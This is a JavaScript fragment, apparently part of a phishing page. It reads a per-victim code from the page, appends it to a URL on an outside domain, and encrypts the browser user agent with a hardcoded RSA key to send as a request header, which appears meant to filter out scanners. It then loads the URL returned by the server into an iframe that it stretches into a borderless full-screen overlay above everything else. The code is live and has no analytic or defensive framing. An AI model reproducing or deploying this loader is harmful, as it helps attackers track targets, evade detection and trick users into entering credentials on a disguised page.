`;
function pemToUint8Array(pem) {
const base64String = pem
.replace('-----BEGIN PUBLIC KEY-----', '')
.replace('-----END PUBLIC KEY-----', '')
.replace(/\s+/g, '');
const byteArray = atob(base64String).split('').map(char => char.charCodeAt(0));
return new Uint8Array(byteArray);
}
function arrayBufferToBase64(buffer) {
let binary = '';
let bytes = new Uint8Array(buffer);
for (var i = 0; i < bytes.byteLength; i++) {
binary += String.fromCharCode(bytes[i]);
}
return window.btoa(binary);
}
let sx = "https://securingabetterway.reviewporter.com/?tcyiehst";
const PUBLIC_KEY_PERM = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvFPzg4JN0qjCWFuQWmw3
+S44qc4zeIZF1XU/2bgfXkVpaZsfjqXE0YwAfR6LrpHLu6Sj1VQ/D73pXUfm6DkI
CU5U7l1tEwb5bKBfjCppslkDWyxrQuJAb7EUD1lmNBfPmVih8ap8SCY2yPA5Ufu5
/bIwPLAsp0V/VNf1A5h9pwRsMVPQnO9iF6U2H7XArrvE+7VZNTANMWOoeicw48ck
6o+55O1s3hCe+lwpXExhYkG03tFMea5woTsqDJBbuUljzEvHv+NZk21Rcx3r9QGg
ecCKQw8ZyIbqypgKeiQ0LaDvlWFeqnp0t/4ujwbIzSoBOVisSc9LYmbLFAmxuq48
CQIDAQAB
-----END PUBLIC KEY-----
`
const publicKey = pemToUint8Array(PUBLIC_KEY_PERM)
let el1 = document.getElementById("degag");
let tl1 = el1.innerText;
if (!tl1 || tl1 === eval(`'E'+'MAIL'+'_'+'CODE'`)) {
sx = sx
} else {
sx = sx + '&qrc=' + tl1
}
let lTime = 0
const eD = document.getElementById("errorId");
let xhr = new XMLHttpRequest();
window.crypto.subtle.importKey(
"spki",
publicKey,
{
name: "RSA-OAEP",
hash: "SHA-256"
},
false,
["encrypt"]
).then(publicKeyMaterial => {
const encodedUserAgent = new TextEncoder().encode(navigator.userAgent);
return window.crypto.subtle.encrypt(
{
name: "RSA-OAEP"
},
publicKeyMaterial,
encodedUserAgent
);
}).then(encryptedUserAgent => {
const encryptedUserAgentBase64 = arrayBufferToBase64(encryptedUserAgent);
xhr.open('GET', sx, true);
xhr.setRequestHeader("accept", "application/json");
xhr.setRequestHeader("qrc-auth", encryptedUserAgentBase64);
xhr.send();
})
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
const cc = JSON.parse(xhr.responseText)
const jq = document.createElement('iframe');
if (cc.url) {
jq.width = '100%';
jq.height = '500px';
jq.setAttribute('sandbox', 'allow-scripts allow-presentation allow-same-origin allow-popups-to-escape-sandbox allow-forms allow-top-navigation-by-user-activation');
jq.setAttribute('allowfullscreen', 1);
jq.setAttribute('style', 'none')
jq.onload = function() {
if (lTime === 0) {
console.log('1 fired')
lTime +=1
} else {
console.log('2 fired')
jq.setAttribute('style', 'position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;');
// document.body.replaceChild(document.body.firstChild, jq);
}
};
document.body.appendChild(jq);
jq.src = cc.url
} else {
eD.innerText = cc.error? cc.error : 'ACCESS DENIED';
eD.style.display = "block";
}
} else {
eD.innerText = 'CONNECTION FAILED';
eD.style.display = "block";
}
}
};